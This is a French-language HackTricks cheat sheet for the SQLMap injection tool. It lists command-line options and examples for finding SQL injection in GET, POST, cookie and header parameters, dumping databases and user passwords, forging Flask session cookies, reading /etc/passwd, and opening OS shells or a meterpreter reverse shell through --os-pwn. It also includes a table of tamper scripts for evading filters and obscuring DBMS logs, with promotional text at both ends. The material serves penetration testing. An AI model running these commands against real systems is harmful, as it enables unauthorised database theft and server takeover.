SQLMap - Cheetsheat

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

Arguments de base pour SQLmap

Générique

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Récupérer des informations

Interne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Données de la base de données

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Lieu de l'injection

À partir de la capture Burp/ZAP

Capturez la requête et créez un fichier req.txt

sqlmap -r req.txt --current-user

Injection de requête GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injection de requête POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections dans les en-têtes et autres méthodes HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indiquer la chaîne lorsque l'injection est réussie

--string="string_showed_when_TRUE"

Eval

Sqlmap permet d'utiliser -e ou --eval pour traiter chaque charge utile avant de l'envoyer avec un oneliner python. Cela facilite et accélère le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, la session cookie flask est signée par flask avec le secret connu avant de l'envoyer:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Coquille

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Lire le fichier

--file-read=/etc/passwd

Parcourir un site web avec SQLmap et auto-exploiter

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injection de Second Ordre

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lisez cet articlesur comment effectuer des injections de second ordre simples et complexes avec sqlmap.

Personnalisation de l'injection

Définir un suffixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Préfixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aide pour trouver une injection booléenne

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Altérer

Rappelez-vous que vous pouvez créer votre propre altérer en python et c'est très simple. Vous pouvez trouver un exemple d'altérer dans la page d'injection de second ordre ici.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription

apostrophemask.py

Remplace le caractère apostrophe par son homologue UTF-8 en pleine largeur

apostrophenullencode.py

Remplace le caractère apostrophe par son homologue double unicode illégal

appendnullbyte.py

Ajoute un caractère NULL encodé à la fin de la charge utile

base64encode.py

Encode en base64 tous les caractères d'une charge utile donnée

between.py

Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #'

bluecoat.py

Remplace le caractère espace après l'instruction SQL par un caractère blanc aléatoire valide. Remplace ensuite le caractère = par l'opérateur LIKE

chardoubleencode.py

Double encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés)

commalesslimit.py

Remplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M'

commalessmid.py

Remplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)'

concat2concatws.py

Remplace les instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

charencode.py

Encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés)

charunicodeencode.py

Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "%u0022"

charunicodeescape.py

Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "\u0022"

equaltolike.py

Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE'

escapequotes.py

Échappe aux guillemets (' et ")

greatest.py

Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST'

halfversionedmorekeywords.py

Ajoute un commentaire MySQL versionné avant chaque mot-clé

ifnull2ifisnull.py

Remplace les instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)'

modsecurityversioned.py

Encadre la requête complète avec un commentaire versionné

modsecurityzeroversioned.py

Encadre la requête complète avec un commentaire à zéro version

multiplespaces.py

Ajoute plusieurs espaces autour des mots-clés SQL

nonrecursivereplacement.py

Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) filtres

percentage.py

Ajoute un signe de pourcentage ('%') devant chaque caractère

overlongutf8.py

Convertit tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés)

randomcase.py

Remplace chaque caractère de mot-clé par une valeur de cas aléatoire

randomcomments.py

Ajoute des commentaires aléatoires aux mots-clés SQL

securesphere.py

Ajoute une chaîne spécialement conçue

sp_password.py

Ajoute 'sp_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du SGBD

space2comment.py

Remplace le caractère espace (' ') par des commentaires

space2dash.py

Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n')

space2hash.py

Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n')

space2morehash.py

Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n')

space2mssqlblank.py

Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs

space2mssqlhash.py

Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n')

space2mysqlblank.py

Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs

space2mysqldash.py

Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n')

space2plus.py

Remplace le caractère espace (' ') par un plus ('+')

space2randomblank.py

Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs

symboliclogical.py

Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et

unionalltounion.py

Remplace UNION ALL SELECT par UNION SELECT

unmagicquotes.py

Remplace le caractère de guillemet (') par une combinaison multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner)

uppercase.py

Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT'

varnish.py

Ajoute un en-tête HTTP 'X-originating-IP'

versionedkeywords.py

Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné

versionedmorekeywords.py

Encadre chaque mot-clé avec un commentaire MySQL versionné

xforwardedfor.py

Ajoute un faux en-tête HTTP 'X-Forwarded-For'

Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour